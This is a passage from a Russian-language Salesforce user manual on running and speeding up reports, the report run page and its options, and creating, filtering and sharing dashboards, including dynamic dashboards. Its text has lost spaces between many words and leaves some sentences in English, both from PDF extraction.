отчетов. Составные отчеты
неподдерживаютэкспорт, а
печатная версияотображает
не более 20 000 строк.
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ВерсииОграничениеФункция

Доступно во всех версиях.Не более 20 строк для
сводных и матричных

Количество
отображаемых строк в

отчетов или 50 строк для
табличных отчетов

области
предварительного
просмотра конструктора
отчетов

1 2 3

Почему отображается сообщение об ошибке «Устаревший отчет»?

Возможно, данные, используемые для составления отчета, недоступны.

Ниже перечислены возможные причины недоступности данных.

• Объект отчета больше недоступен для составления отчетов.

• Взаимосвязь поиска, используемая объектами отчета, удалена или изменена.

• Объект отчета удален.

• Объект отчета недоступен для просмотра.

Повышение эффективности отчетов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

Недостоверные результаты или превышение времени выполнения отчетов могут быть
вызваны целым рядом факторов. Большинство из них можно адресовать с внесением
простыхизменений, напримерсиспользованиемправильныхоператоровфильтрации,
увеличением количества фильтров и уменьшением объема данных.

Выполнение отчета может занимать от нескольких секунд до нескольких минут. Время
выполнениянекоторыхсложныхотчетовможетпревышатьустановленныеограничения,
в результате чего их выполнение прекращается. Ниже перечислены наиболее частые
причины медленной загрузки отчета.

• Одновременный запрос слишком большого количества объектов

• Выполнение сложных поисков

• Слишком большое количество полей

Например, выведете группусбытаихотитепросмотретьколичествоинтересовкаждогоизвашихпродавцов. Высоздаете
отчет, которыйпокажет всеинтересыв вашейкомпании. Теперь у вас есть всенеобходимыеинекоторыелишниеданные,
а ваш отчет долго загружается. Чтобы отчет запускался быстрее, его можно отфильтровать так, чтобы отображались
только результаты интересов вашей группы. Если нужно, чтобы отчет запускался еще быстрее, выполнитефильтрацию
по времени. Возможно, вам нужны интересы за прошлый или позапрошлый год. Если нет, добавьте еще один фильтр,
который отсортирует ваш отчет только по текущему году. Теперь ваш отчет работает молниеносно.

Если вы не можете просмотреть отчет и хотите его отредактировать до истечения срока действия, дополните URL-адрес
отчета строкой ?edit=1. Таким образом вы перейдете в режим редактирования и сможете настроить критерии. Чтобы
повысить эффективность выполнения отчетов, воспользуйтесь рекомендациями ниже.

• Прифильтрациирекомендуемиспользоватьоператор «равно» или «не равно» вместооператора «содержит» или
«не содержит». Например, рекомендуем использовать фильтр «"Ответственный за организацию" "равно" "Иван
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Петров"» вместо фильтра «"Ответственный за организацию" "содержит" "Иван Петров"». Выберите условие «И»
вместо условия «ИЛИ» в логике фильтра.

• Чтобы уточнить диапазон дат отчета, выберите временныефильтры. Например, рекомендуем использовать фильтр
«Последние 30 дней» вместо фильтра «Текущий фин. год».

• Чтобы задать фильтры временного интервала, воспользуйтесь полями «Поле даты» и «Диапазон». В этом случае
отображаются только те записи, которые соответствуют указанному временному интервалу.

• Чтобы сократить количество полей в отчете, удалите ненужные столбцы или поля.

• Если отчет по действиям возвращает слишком много результатов, добавьте фильтр для поля даты, текста или
раскрывающегося списка. Чтобыповторно выполнить отчет по действиям, рекомендуем выбрать другой тип данных
(например, «Действия с организациями» или «Действия с возможностями»).

• Чтобы уточнить результаты отчета, добавьте фильтры времени, фильтры области и критерии фильтрации.

Почему отчет отображает устаревшее имя роли в журнале «Иерархия ролей»?

Изменения, внесенные в имя роли, не отображаются в отчетах автоматически. Чтобы просмотреть новое имя роли,
измените поле «Имя роли, отображаемое в отчетах» в записи роли.

Использование точных данных в отчете
Качественный отчет позволяет преобразовывать необработанные данные в полезные сведения. Отчеты позволяют
суммировать и группировать значения посредством релевантных категорий, отфильтровывать несущественные факты
и собирать данные о разных объектах одновременно.

Эффективное взаимодействие с данными отчетов
Отчет возвращает данные в виде таблицы. Таблица поддерживает настройки, позволяющие ускорить процесс поиска
нужных сведений. При необходимости данные отчета могут быть представлены в виде диаграммы или просмотрены на
панели мониторинга.

СМ. ТАКЖЕ:

Графическое отображение данных отчета

Отображение данных отчета в таблицах
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Страница запуска отчета

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для запуска отчетов:
• «Запуск отчетов»

Для планирования отчетов:
• «Планированиеотчетов»

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Страница запуска отчета позволяет контролировать выполнение запущенного отчета.

Ниже перечислены действия, доступные на странице запуска отчета.

• Просмотрите ленту Chatter на наличие обновлений и сообщений для отчета.

• Просмотрите поле «Статус создания отчета».

• Выберите параметры иерархии.

• Чтобы изменить группировки верхнего уровня, воспользуйтесь раскрывающимся
списком «Резюмировать данные по:».

• Измените параметры «Временной интервал» и «Показать».

• Чтобы запустить или запланировать отчет, нажмите кнопку «Запустить отчет».

• Чтобы просмотреть все данные, нажмите кнопку «Показать сведения». Чтобы
просмотреть только сводную информацию, нажмите кнопку «Скрыть сведения».

• Чтобы открыть отчет в конструкторе отчетов, нажмите кнопку «Настроить».

• Выполните экспорт или печать отчета.

• Чтобы настроить уведомления об отчетах, позволяющие предупреждать
пользователейосоответствииопределенныхпоказателейотчета заданнымусловиям,
нажмите кнопку «Подписаться».

• Чтобыизменить свойствадиаграммы, щелкните ссылку «Правка»напротивнужной
диаграммы. Чтобы изменить размер диаграммы, щелкните ссылку «Крупный»,
«Средний» или «Малый».

• Отсортируйте результаты отчета.

• Измените или удалите примененный критерий фильтрации.

• При использовании сводного или матричного отчета отфильтруйте выбранные
строки по отдельному полю. Выберите нужные строки и поле для группировки, а
затемнажмитекнопку «Детализировать». Например, присозданииотчетаповозможностям, отображающегосделки
поотраслям, выберите успешныеотраслиивыполнитеих группировкупополю «Имя продукта», чтобыпросмотреть
продукты, продающиеся в данной отрасли. Чтобы удалить фильтр детализации, щелкните ссылку «Очистить».

СМ. ТАКЖЕ:

Параметры страницы запуска отчета

Ограничение результатов отчета

Параметры страницы запуска отчета
Данные, отображаемыенастраницезапускаотчета, могутбытьнастроенывсоответствиистекущимибизнес-требованиями.

Ниже перечислены поля и кнопки, доступные на странице запуска отчета в зависимости от заданных параметров.

ОписаниеПараметр

Данный параметр открывает конструктор отчетов, позволяющий настроить отчет.Настроить

Данныйпараметрпозволяет выбрать сведения, связанныесдатой: дата создания, дата
последнего обновления и дата последнего действия.

Поле даты
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ОписаниеПараметр

Данный параметр удаляет отчет. Удаленные отчеты перемещаются в корзину.Удалить

Данный параметр определяет тип валюты для промежуточных сумм и стоимостей
отчета впреобразованномстолбцелюбогополя. Доступнотолькомультивалютным
организациям.

Отчетыотображают стоимости в исходных валютах, а итоговые данные — в личной
валюте. Чтобы изменить валюту, откройте конструктор отчетов, последовательно

Отобразить используемые
валюты

выберите пункты «Показать» > «Используемые валюты», а затем выберите
активнуювалюту. Каждойстоимостиможетсоответствоватьстолбец «преобразовано»
(например, «Годовой доход (преобразовано)»), который позволяет просматривать
стоимости в выбранной валюте.

Данный параметр определяет подразделение записей, которые должны быть
добавлены в отчет. Чтобы просмотреть записи текущего рабочего подразделения,

Подразделение

выберитезначение «--Текущее--». Отчеты, областькоторыхужеопределена (например,
«Моиобращения» или «Организациимоейгруппы, работающейсвозможностями»),
содержат записи всех подразделений. Доступно только при использовании
подразделенийдля сегментированияданныхиналичииполномочия «Взависимости
отподразделений». Еслиполномочие «Взависимостиотподразделений» отсутствует,
то отчеты содержат записи всех подразделений.

При использовании сводного или матричного отчета отфильтруйте выбранные
строки по отдельному полю. Выберите нужные строки и поле для группировки, а

Детализировать

затем нажмите кнопку «Детализировать». Например, при создании отчета по
возможностям, отображающего сделки по отраслям, выберите успешные отрасли и
выполнитеих группировкупополю «Имя продукта», чтобыпросмотретьпродукты,
продающиеся в данной отрасли. Чтобы удалить фильтр детализации, щелкните
ссылку «Очистить».

Данныйпараметрэкспортируетданныеотчета в таблицу Microsoft® Excel или CSV-файл.Экспортировать сведения

Данный параметр поддерживает варианты просмотра данных отчета на основе
иерархииролейилитерриторий. Просмотритеданныедляотдельногопользователя,

Иерархия

ролиилицелойорганизации. Доступно только в версиях Professional Edition, Enterprise
Edition, Unlimited Edition, Performance Edition и Developer Edition.

Данный параметр отображает отчет в формате Microsoft Excel, удобном для печати.Версия для печати

Данный параметр определяет область на основе ответственности за возможность
или группы, работающей с возможностями, и ограничивает данные в отчете по
возможностям.

Взаимосвязь с возможностью

Данный параметр определяет временной промежуток отчета. Данные могут быть
ограничены определенными датами посредством любого стандартного или

Диапазон

настраиваемого поля даты, заданного для типа записи в отчете. Диапазону
соответствуют поля «С» и «По».

Данный параметр обновляет данные отчета на основе текущих параметров отчета.Запустить отчет

Данный параметр сохраняет изменения одного из текущих настраиваемых отчетов.Сохранить
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ОписаниеПараметр

Данный параметр сохраняет изменения любого настраиваемого, стандартного или
общедоступного отчета под новым именем и без изменения исходного отчета.

Сохранить как

Данный параметр определяет элементы, которые должны быть добавлены в отчет:
только собственные записи или все доступные записи. Данный параметр позволяет
просматривать данные рабочей группы в отчете.

Показать

Данный параметр отображает все сведения или только сводные данные.Показать сведения/скрыть
сведения

Данный параметр позволяет получать уведомления об отчетах при выполнении
указанных условий определенными показателями.

Подписаться

Данный параметр поддерживает промежуточные результаты для выбранных полей.Резюмировать данные по:

Данныйпараметрпозволяетпросмотретьдлительностьобращенияв днях, часахили
минутах. Длительность открытого обращения — это время, прошедшее после его

Единицы

создания. Длительностьзакрытогообращения — этовремя, прошедшеемеждудатами
его создания и закрытия.

СМ. ТАКЖЕ:

Страница запуска отчета

Создание настраиваемого отчета

Начало работы с отчетами
Пользователи могут настраивать среду составления отчетов, использовать конструктор отчетов для создания базовых
отчетов и систематизировать текущие отчеты для более быстрого и удобного поиска. Чтобы начать работу, выберите
нужный стандартный отчет и при необходимости выполните его настройку.

Отчетможетбыть созданполюбымданным, которыедоступныпользователютолькодлячтенияилидлячтенияи записи.
Доступные данные определяются модельюобщего доступа. Независимо от модели общего доступа, пользователимогут
практически всегда составлять отчеты по данным, которые принадлежат или доступны нижестоящим пользователям в
иерархии ролей. (Данная возможность не поддерживается некоторыми моделями общего доступа.) Система Salesforce
поддерживает два способа составления отчетов по данным, принадлежащим пользователю или его подчиненным.

• Некоторыеотчетысодержатфильтр «Просмотр». Чтобыпросмотретьсобственныеданныеиданные, принадлежащие
нижестоящим пользователям в иерархии ролей, выберите значение, содержащее элемент «моей рабочей группы»
(например, «Возможности моей рабочей группы»).

• Некоторые отчеты (например, отчеты по возможностям или действиям) содержат ссылки «Иерархия», которые
позволяют детализировать разные наборы данных на основе иерархии ролей или пользователей. Если организация
использует функцию управления территориями, то данные ссылки в некоторых отчетах опираются на иерархию
территорий.

4200

ОтчетыAnalytics



При необходимости записи настраиваемого отчета могут быть отсортированы по ответственному за запись или роли.

СМ. ТАКЖЕ:

Повышение эффективности отчетов

Создание отчета

Предоставление доступа к данным посредством отчетов

Запуск отчета

Типы стандартных отчетов

Предоставление доступа к данным посредством отчетов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

Рекомендуем использовать отчеты для обработки данных, собранных организацией.
Данныеорганизациимогутпросматриваться самымиразнымиспособами, отображаться
в удобных форматах и публиковаться на панелях мониторинга для общего доступа.

Отчет — этонаборзаписей, соответствующихзаданнымкритериямиотображающихся
в виде упорядоченных строк и столбцов. Данные отчета могут быть отфильтрованы,
сгруппированы и представлены в виде диаграммы. Отчеты хранятся в папках, которые
определяют уровень доступа пользователей.

СМ. ТАКЖЕ:

Настройка отчетов

Типы стандартных отчетов

Панели мониторинга

Общие сведения о панелях мониторинга

ВЕРСИИ

Доступно в: Salesforce
Classic и Lightning
Experience.

Доступно в версиях: все
версии, кроме
Database.com Edition.

Панелимониторингапозволяютпользователямполучитьобщеепредставлениеоданных
Salesforce. Прежде чем начать создание, чтение или предоставление общего доступа к
панелям мониторинга, просмотрите общие сведения о панелях мониторинга ниже.

При подготовке к проверке данных Salesforce посредством панелей мониторинга
воспользуйтесь советами ниже.

• Отчеты содержат все данные, отображающиеся на панели мониторинга. Панели
мониторинга могут отображать данные из нескольких отчетов.

• Приобновлениипанелимониторингадолжнывыполнятьсявсеотчеты, являющиеся
источникамиданных. Если выполнение отчетов занимает слишкоммного времени,
то время обновления панели мониторинга также увеличивается.

• Общий доступ к панелям мониторинга предоставляется посредством папок. Панель мониторинга доступна любому
пользователю, имеющему доступ к папке, выбранной для ее хранения. Убедитесь, что панель мониторинга хранится
в соответствующей папке.

Прежде чем начать создание или чтение панели мониторинга, просмотрите указанные ниже функции и понятия.
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Редактор панелей мониторинга
Редактор панелей мониторинга — это визуальный интерактивный инструмент, предназначенный для создания и
редактирования панелей мониторинга. Редактор панелей мониторинга позволяет добавлять и редактировать
компоненты панели мониторинга, а также изменять порядок их отображения.

Чтобы открыть редактор панелей мониторинга, щелкните «Создать панель мониторинга».

Компоненты
Панелимониторингасостоятизкомпонентов. Каждыйкомпонентсодержитдиаграммуилипоказательдляотображения
данных из одного отчета. Разные компоненты могут отображать данные из разных отчетов.

Текущий пользователь (Просмотр как:)
СистемаSalesforceпредоставляетразнымпользователямразныеполномочиядлядоступакданным. Панельмониторинга
отображает только данные, доступные текущему пользователю панели мониторинга.

Например, рассмотрим панель мониторинга, содержащую интересы. Пользователь 1 является менеджером отдела
продаж, который может просматривать все интересы, тогда как пользователь 2 является специалистом по прямым
продажам, который может просматривать только собственные интересы. Если текущим пользователем панели
мониторинга является пользователь 1, то панель мониторинга отображает данные обо всех интересах в системе
Salesforce. Если текущим пользователем является пользователь 2, то панель мониторинга отображает только данные
об интересах, принадлежащих пользователю 2.

Создание панели мониторинга

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

Панельмониторингаобеспечиваетобщийдоступкданным Salesforce вместе с коллегами.
На панели мониторинга выполняется просмотр данных отчетов с использованием
диаграмм, таблиц и показателей. Для получения дополнительной информации ваши
сотрудники могут просмотреть сопутствующие отчеты панели мониторинга.

1. Создание панели мониторинга Salesforce Classic

Чтобы просмотреть графическое представление данных, доступных в отчетах,
создайте панель мониторинга.

3. Установка образцов панелей мониторинга CRM из каталога AppExchange

Рекомендуем использовать данные панели мониторинга из каталога AppExchange в
качестве основы для создания настраиваемых панелей мониторинга.
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Создание панели мониторинга Salesforce Classic

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания панелей
мониторинга:
• «Запуск отчетов» И

«Управление панелями
мониторинга»

Для редактирования и
удаления созданныхпанелей
мониторинга:
• «Запуск отчетов» И

«Управление панелями
мониторинга»

Для редактирования и
удаления панелей
мониторинга, созданных
другими пользователями:
• «Запуск отчетов»,

«Управление панелями
мониторинга» И
«Просмотр всех данных»

Для создания,
редактирования и удаления
динамических панелей
мониторинга:
• «Запуск отчетов» И

«Управление
динамическими
панелямимониторинга»

Чтобыпросмотреть графическоепредставлениеданных, доступныхвотчетах, создайте
панель мониторинга.

В этой теме рассматривается создание панелей мониторинга для отчетов в Salesforce
Classic. Сведения о создании панелеймониторинга вWave Analytics см. в статье Создание
панели мониторинга вWave Analytics на странице 3928.

Совет: Клонирование панели мониторинга — это быстрый способ создания
панели мониторинга, свойства и компоненты которой аналогичны свойствам и
компонентам текущей панели мониторинга. Нажмите кнопку «Клонировать»,
измените параметры и сохраните панель мониторинга.

1. Создайте настраиваемые отчеты, содержащие данные для отображения.

Важное замечание: Данные отчеты должны храниться в папках, которые
доступны соответствующим пользователям.

2. Откройте вкладку «Панели мониторинга».

3. Щелкните ссылку «Перейти к списку панелей мониторинга».

4. Чтобы добавить новую панель мониторинга, нажмите кнопку «Создать панель
мониторинга».

Чтобы изменить текущую панель мониторинга, выберите имя нужной панели из
списка.

5. Настройте параметры панели мониторинга и нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Удаление панели мониторинга

Установка образцов панелей мониторинга CRM из каталога AppExchange
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Установка образцов панелей мониторинга CRM из каталога AppExchange

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для установки пакетов:
• «Загрузка пакетов

AppExchange»

Для создания панелей
мониторинга:
• «Запуск отчетов» И

«Управление панелями
мониторинга»

Рекомендуем использовать данные панели мониторинга из каталога AppExchange в
качестве основы для создания настраиваемых панелей мониторинга.

Пакет AppExchange, содержащий образцы панелей мониторинга CRM, предоставляет
доступ к современнымпанеляммониторинга, исходные отчеты которых основываются
на стандартных объектах и полях организации. Данный пакет содержит панели
мониторингапопродажам, маркетингу, обслуживаниюиподдержке, которыепозволяют
отслеживать бизнес-процессы и ключевые показатели собственной эффективности, а
также результаты деятельности своей рабочей группы и компании. Ниже перечислены
панели мониторинга, доступные в данном пакете.

• Панели мониторинга по продажам и маркетингу

– Панель мониторинга для директора по маркетингу

– Панель мониторинга для директора по продажам

– Панель мониторинга для менеджера по продажам

– Панель мониторинга для торгового представителя

• Панели мониторинга по обслуживанию клиентов

– Обзорная панель мониторинга для руководителя группы агентов

– Обзорная панель мониторинга для директора по обслуживанию клиентов

– Панель мониторинга по ключевым показателя эффективности обслуживания
клиентов

1. Найдите пакет Salesforce CRM Dashboards в каталоге AppExchange и нажмите кнопку
«Получить сейчас!».

2. Чтобы установить образцы панелей мониторинга, установите данный пакет.
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Фильтры панели мониторинга

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления фильтров в
панель мониторинга:
• «Запуск отчетов» И

«Управление панелями
мониторинга»

Для просмотра, обновления
и фильтрации на панелях
мониторинга:
• «Запуск отчетов» И

доступ к папке панелей
мониторинга

Фильтры панели мониторинга позволяют упростить использование разных наборов
данных на одной панели мониторинга. Теперь разным группам пользователей может
быть доступна всего одна панель мониторинга: просто добавьте соответствующий
фильтр для каждой группы. Система сохраняет примененныефильтрыииспользует их
при следующем открытии панели мониторинга.

Фильтруприсваивается имя, оператори какминимумодно значение. Каждомуфильтру
можетбыть заданонеболее10параметров. Каждаяпанельмониторингаможетсодержать
не более 3фильтров. Чтобы увеличить данное ограничение, обратитесь в компанию
Salesforce. Разрешается использовать не более 50 параметров фильтра.

Фильтры доступны для раскрывающихся списков, полей поиска ифлажков, а также для
текстовых и числовых полей, полей даты или даты и времени.

Приизменениифильтровпанельмониторингаотображаетранеекэшированныеданные
(при их наличии). При отсутствии данных панель мониторинга извлекает последние
данные. Такилииначе, параметрпанелимониторинга «Последнееобновление» содержит
временную отметку для просматриваемых данных. Чтобы извлечь последние данные,
нажмите кнопку «Обновить».

Прим.: Фильтры панели мониторинга не поддерживают некоторые действия.

• Фильтры не могут быть добавлены на панели мониторинга, содержащие
компоненты Visualforce или S-Control.

• Фильтрация по полям области не поддерживается. При необходимости
воспользуйтесь отчетом, отфильтрованным по полю области на странице
панели мониторинга.

• Фильтрынеприменяютсяприпланированииилиотправкепанелимониторинга
по эл. почте.

• Фильтрынеприменяютсякданнымсоставногоотчетавпредставлениипанели
мониторинга или не могут быть добавлены в панель мониторинга,
использующую только составные отчеты.

• Поля настраиваемойформулы нельзя использовать в фильтре панели
мониторинга.

• В Lightning Experience редактировать отфильтрованные панели мониторинга
нельзя, следовательно, нельзя добавлять новыефильтрыпанелимониторинга.
(Однако при просмотре панели мониторинга можно менять существующие
фильтры.) ПереключитесьнаSalesforce Classic, чтобыизменитьотфильтрованные
панели мониторинга.

1. Добавление фильтра панели мониторинга
Чтобы создать фильтр панели мониторинга, выберите поле, содержащее нужный тип информации, и определите
способ отображения данных в результате фильтрации.

2. Применение фильтра панели мониторинга
Фильтры панели мониторинга позволяют выполнять интерактивный анализ сведений. Прифильтрации панели
мониторинга Salesforce Classic отфильтрованное представление сохраняется и используется дляфильтрации данных
при следующем просмотре панели мониторинга. В Lightning Experience панели мониторинга всегда открываются без
примененных фильтров.
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3. Примерыфильтров панели мониторинга
Фильтры панели мониторинга позволяют выбирать разные представления данных. When you filter a Salesforce Classic
dashboard, the filtered view is preserved so that the next time you see the dashboard, data is filtered by the same view. In Lightning
Experience, dashboards always open with no filters applied.При отсутствии фильтров рекомендуем создать несколько
панелей мониторинга, каждая из которых основывается на отдельном наборе отфильтрованных отчетов.

Добавление фильтра панели мониторинга

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

To add filters to a
dashboard:
• «Запуск отчетов» И

«Управление панелями
мониторинга»

Чтобы создать фильтр панели мониторинга, выберите поле, содержащее нужный тип
информации, и определите способ отображения данных в результате фильтрации.

Поле, выбранное для фильтра, может иметь эквивалентные поля. Эквивалентные поля и
поле, выбранное для фильтра, используют один и тот же объект. Эквивалентные поля
поддерживают фильтрацию компонентов, которые не содержат выбранного поля, а
также инуюфильтрацию некоторых компонентов. Например, поле «Ответственный
за организацию» можетиметь эквивалентныеполя «Ответственный за возможность»
и «Возможность: создано», так как все три поля являются частью объекта
«Пользователь».

Чтобыопределитьспособфильтрациикаждогокомпонента, воспользуйтесьпараметром
«Отфильтровано по» при редактировании панели мониторинга. При наличии
эквивалентных полей компонент может быть отфильтрован по другому полю.

1. Нажмите кнопку «Правка» на панели мониторинга, а затем нажмите кнопку
«Добавитьфильтр».

In Lightning Experience, you can’t edit filtered dashboards, which means you can’t add new
dashboard filters. (You can change existing filters while viewing the dashboard, though!) Switch
to Salesforce Classic to edit filtered dashboards.

2. Выберитенужноеполевраскрывающемсясписке «Поле». Раскрывающийсясписок
содержит поля, которые могут использоваться для фильтрации всех компонентов.
(Чтобы просмотреть список эквивалентных полей, щелкните значок .)

3. Введитеметкуотображениядляобозначенияфильтра. Еслифильтрсодержитмного
эквивалентныхполей, рекомендуемиспользоватьметку, котораябудетдействительна
для всех компонентов.

4. Выберитенужныйоператоривведитекакминимумоднозначениевполе «Параметры
фильтрации».

Чтобы присвоить имя фильтру, воспользуйтесь полем «Имя группы». Например,
при использовании панели мониторинга продаж некоторые этапы возможностей
могут быть объединены в группу «Ранние». Данная группа позволяет пользователям
быстро фильтровать панель мониторинга для отображения только данных,
соответствующих сделкам, которые находятся на ранних этапах разработки.

4206

Панели мониторингаAnalytics



Прим.: Параметр, содержащий несколько значений, рассматривается системой как условие «ИЛИ».

5. Нажмите кнопку «OK». Чтобыпросмотреть способпримененияфильтра в каждомкомпоненте, нажмите кнопку «ОК».
При наличии эквивалентных полей компонент может быть отфильтрован по другому полю.

Чтобы изменить или удалить текущийфильтр, выберите пункт «Редактироватьфильтр» или «Удалитьфильтр» в
раскрывающемся списке фильтра.

Применение фильтра панели мониторинга

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра, обновления
и фильтрации на панелях
мониторинга:
• «Запуск отчетов» И

доступ к папке панелей
мониторинга

Фильтры панели мониторинга позволяют выполнять интерактивный анализ сведений.
ПрифильтрациипанелимониторингаSalesforce Classicотфильтрованноепредставление
сохраняетсяииспользуется дляфильтрацииданныхприследующемпросмотрепанели
мониторинга. В Lightning Experience панели мониторинга всегда открываются без
примененных фильтров.

Прим.: Все компоненты на панели мониторинга необязательнофильтруются по
одному полю. Используемое поле определяется пользователем, создавшим или
изменившим панель мониторинга.

1. Откройте панель мониторинга.

В Salesforce Classic, если припоследнемиспользовании даннойпанелимониторинга
былипримененыфильтры, онибудутпо-прежнемуприменены. В Lightning Experience
панель мониторинга всегда открывается без примененных фильтров.

2. Выберите параметр в раскрывающемся списке фильтра.
Каждыйфильтрсодержиткакминимумоднозначение, котороеможетиспользоваться
для дополнительного уточнения.
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3. Дляпросмотраданныхбезфильтрациивыберите «Очиститьфильтр»или «Все» враскрывающемсяспискефильтра.

Примеры фильтров панели мониторинга

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Фильтрыпанелимониторингапозволяютвыбиратьразныепредставленияданных. When
you filter a Salesforce Classic dashboard, the filtered view is preserved so that the next time you see
the dashboard, data is filtered by the same view. In Lightning Experience, dashboards always open
with no filters applied.Приотсутствиифильтров рекомендуем создать несколькопанелей
мониторинга, каждая из которыхосновывается на отдельномнаборе отфильтрованных
отчетов.

Показатели продаж по продуктам

Создайте панель мониторинга продаж, позволяющую пользователям отслеживать
показатели продаж по продуктам. Для этого добавьте новую панель мониторинга с
ключевыми показателями эффективности (например, прибыль от закрытых сделок).
Чтобыразрешитьпользователямпросматриватьпоказателиэффективностипопродукту,
добавьте фильтр для поля «Имя продукта».
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Сделки для разных сегментов организации

Создайтепанельмониторинга с двумяфильтрами, позволяющуюопределять способыоформленияразныхтипов сделок
вразныхсегментахорганизации. Создайтефильтрдляполя «Годовой доход», которыйсодержитнесколькодиапазонов,
соответствующихспособусегментированияорганизаций, затемсоздайтефильтрдляполявозможности «Тип» идобавьте
фильтр для отображения сделок по полю «Регион». Чтобы разрешить всем сотрудникам торговой организации доступ
к панели мониторинга, рекомендуем создать динамическую панель мониторинга: менеджеры могут просматривать
эффективность своих рабочих групп, а торговые представители — отслеживать собственную эффективность.

Настройка индивидуальных просмотров панели мониторинга

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Динамические панели мониторинга позволяют каждому пользователюпросматривать
доступные ему данные. Динамическая панель мониторинга позволяет контролировать
доступность данных без создания отдельной панели мониторинга (а также текущего
пользователя и папки) для каждого уровня доступа.

Доступ к панелям мониторинга контролируется администраторами путем их хранения
впапках сопределеннымуровнемдоступности. Папкипанелеймониторингамогутбыть
общедоступными, скрытыми или доступными только определенным группам, ролям
или территориям. Панели мониторинга, хранящиеся в папке, могут быть просмотрены
при наличии доступа к самой папке.

Папки определяют уровень доступа к панели мониторинга, однако уровень доступа к
данным определяетсятекущим пользователем. Ниже перечислены допустимые варианты
выбора.

• «Запустить в качестве определенного пользователя». Для отображения панели мониторинга используются
параметры безопасности отдельного пользователя. Независимо от личных параметров безопасности, всем
пользователямотображаютсяодниитежеданные. Данныйвариантпозволяетпредоставлятьобщийдоступкбольшому
изображению в иерархии или стимулировать участников рабочей группы путем отображения их сравнительной
производительности. В случае отсутствия полномочия «Просмотр всех данных» можно выбрать только себя.
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Полномочие «Просмотр панелей мониторинга моей рабочей группы» позволяет выбирать любого нижестоящего
пользователя в иерархии ролей.

• «Запустить в качестве пользователя, выполнившего вход в систему». Для отображения динамической панели
мониторингаиспользуютсяпараметрыбезопасностипользователя, просматривающегопанельмониторинга. Данные,
доступныенапанелимониторинга, определяются уровнемдоступа каждогопользователя. Данныйвариантпозволяет
администраторампредоставлятьпользователямсразнымуровнемдоступаобщийдоступкодномунаборукомпонентов
панели мониторинга.

Динамическая панель мониторинга позволяет контролировать доступность данных без создания отдельной панели
мониторинга (а также текущего пользователя и папки) для каждого уровня доступа. Отдельная динамическая панель
мониторинга может отображать стандартный набор показателей для всех уровней организации.

Пользователи могут создавать не более трех фильтров для каждой динамической панели мониторинга. Благодаря
фильтрациидинамическихпанелеймониторинга, администраторыполучаютдополнительныевозможностипосозданию
панелей мониторинга. Например, пользователь может создать единую систему показателей продаж, поддерживающую
фильтрацию по продуктам и торговым представителям. Используя данную систему, менеджеры по продажам смогут
просматривать общие и индивидуальные показатели эффективности своих торговых представителей. Кроме того, им
будутдоступныпродажипопродуктам, позволяющиеопределитьпродукты, продаваемыеилинепродаваемыеотдельными
торговыми представителями.

Менеджерысполномочием «Просмотрпанелеймониторингамоейрабочей группы» или «Просмотрвсехданных» могут
просматривать панели мониторинга в качестве подчиненных им пользователей в иерархии ролей.

Организацияподдерживаетнеболеепятидинамическихпанелеймониторинга в версии Enterprise Edition, десяти в версиях
Unlimited Edition иPerformance Edition итрех в версии Developer Edition.Дополнительныединамическиепанелимониторинга
могут быть приобретены отдельно.

Прим.:

• Dynamic dashboards are viewable in both Salesforce Classic and Lightning Experience, but you must switch to Salesforce
Classic to set them up.

• Динамические панели мониторинга не поддерживают функцию отслеживания компонентов.

• Динамические панели мониторинга не могут храниться в личных папках.

• Динамические панели мониторинга не поддерживают планирование обновлений. Они должны обновляться
вручную.

Пример бизнес-сценария
Допустим, группа, работающая с возможностями, состоитиз одного вице-президента, четырехменеджеровпопродажам
исорока торговыхпредставителей (подесятьпредставителейнаодногоменеджера). Приэтомнеобходимосоздатьпанели
мониторинга, которые будут отображать указанные ниже показатели (с ограничением по роли и иерархии).

Количество действий по
типу конференции

Курсы закрытия по
конкуренту

Общее количество
заказов

Роль

Торговый представитель

Менеджер по продажам

Вице-президент по
продажам
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Торговым представителям должны быть доступны только собственные данные, менеджерам — данные подчиненных
торговых представителей, а вице-президенту — все данные рабочей группы. Согласно данному сценарию, раньше
пришлось бы создать 45 различных панелей мониторинга — по одной панели для каждого пользователя. Кроме того,
